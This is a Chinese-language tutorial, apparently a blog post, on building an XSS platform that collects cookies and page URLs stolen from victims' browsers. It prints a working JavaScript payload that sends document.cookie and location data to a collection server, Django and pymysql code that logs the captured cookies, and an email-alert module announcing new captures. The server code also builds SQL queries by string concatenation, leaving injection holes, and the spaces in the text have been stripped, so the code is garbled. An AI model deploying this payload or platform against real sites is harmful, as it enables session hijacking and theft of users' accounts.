0x01
工欲善其事必先利其器，首先我们需要准备编写代码的各种工具和环境，这里不细说。我这里的环境和工具如下：
需要用到的第三方库：
0x02
我们先看一下XSS脚本是如何工作的
varwebsite="http://127.0.0.1";(function(){(newImage()).src=website+'/?keepsession=1&location='+escape((function(){
try{
returndocument.location.href
}catch(e){
return''
}
})())+'&toplocation='+escape((function(){
try{
returntop.location.href
}catch(e){
return''
}
})())+'&cookie='+escape((function(){
try{
returndocument.cookie
}catch(e){
return''
}
})())+'&opener='+escape((function(){
try{
return(window.opener&&window.opener.location.href)?window.opener.location.href:''
}catch(e){
return''
}
})());
})();
这段代码非常简单，就是通过javascript获取有用信息，然后通过访问xss平台将信息作为GET参数传给服务器。
注意：这里使用AJAX可能会出现CORS跨域问题。
0x03
先给出关键代码，其他都是Django相关的内容，这里不做相关讨论。
"""
根据url值动态返回相应的javascript代码
"""
importpymysql,os
fromuser.safeioimportre_check
defget_info(url):
ifnotre_check(url,'num_letter'):
return'default'
db=pymysql.connect('localhost','root','root','xss')
cursor=db.cursor()
cursor.execute("SelectnameFromprojectsWhereurl='"+url+"'")
js_name=cursor.fetchone()[0]
ifjs_name==None:
return'default'
else:
return(js_name)
defget_js_value(url):
js_name=get_info(url)
file='\\script\\'+js_name+'.js'
js_value=open(os.getcwd()+file).read()
js_value=js_value.replace('<-1234->',url)
returnjs_value
importpymysql,time
from.getscriptimportget_info
defconnect():
try:
db=pymysql.connect('localhost','root','root','xss')
cursor=db.cursor()
returndb,cursor
except:
print('连接数据库失败，正在尝试重新连接')
connect()
defput_letter(requests,url):
now_time=time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(time.time()))[2:]
if'HTTP_X_FORWARDED_FOR'inrequests.META:
ip=requests.META['HTTP_X_FORWARDED_FOR']
else:
try:
ip=requests.META['REMOTE_ADDR']
except:
ip='0.0.0.0'
ip=ip.replace("'","\'")
origin=requests.GET.get('location','Unknown').replace("'","\'")
software=requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
method=requests.method.replace("'","\'")
data=requests.GET.get('cookie','Nodata').replace("'","\'")
keep_alive=requests.GET.get('keepsession','0').replace("'","\'")
list=[now_time,ip,origin,software,method,data,keep_alive]
put_mysql(list,url)
defput_mysql(list,url):
db,cursor=connect()
name=get_info(url)
cursor.execute("SelectuserFromprojectsWhereurl='"+url+"'")
user=cursor.fetchone()[0]
m_query="INSERTINTOletters(time,name,ip,origin,software,method,data,user,keep_alive)VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
m_query=m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
cursor.execute(m_query)
db.commit()
db.close()
defget_letters(username):
db,cursor=connect()
m_query="SELECT*FROMlettersWHEREuser='{}'"
m_query=m_query.format(username)
cursor.execute(m_query)
result_list=cursor.fetchall()
returnresult_list
既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台，我们只需在服务器接受数据并保存即可。
0x04
我们可以为我们的平台编写新的功能以完善我们的平台，如邮件提醒，cookie活性保持等
#coding=utf-8
'''
邮件发送
'''
importsmtplib
fromemail.mime.textimportMIMEText
fromemail.utilsimportformataddr
my_sender='xxxx'
my_pass='xxxx'
defsend_mail(user_mail):
try:
print(user_mail)
msg=MIMEText('您点的外卖已送达，请登录平台查询','plain','utf-8')
msg['From']=formataddr(["XSS平台",my_sender])
msg['To']=formataddr(["顾客",user_mail])
msg['Subject']="您点的外卖已送达，请登录平台查询"
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(my_sender,my_pass)
server.sendmail(my_sender,[user_mail,],msg.as_string())
server.quit()
exceptException:
pass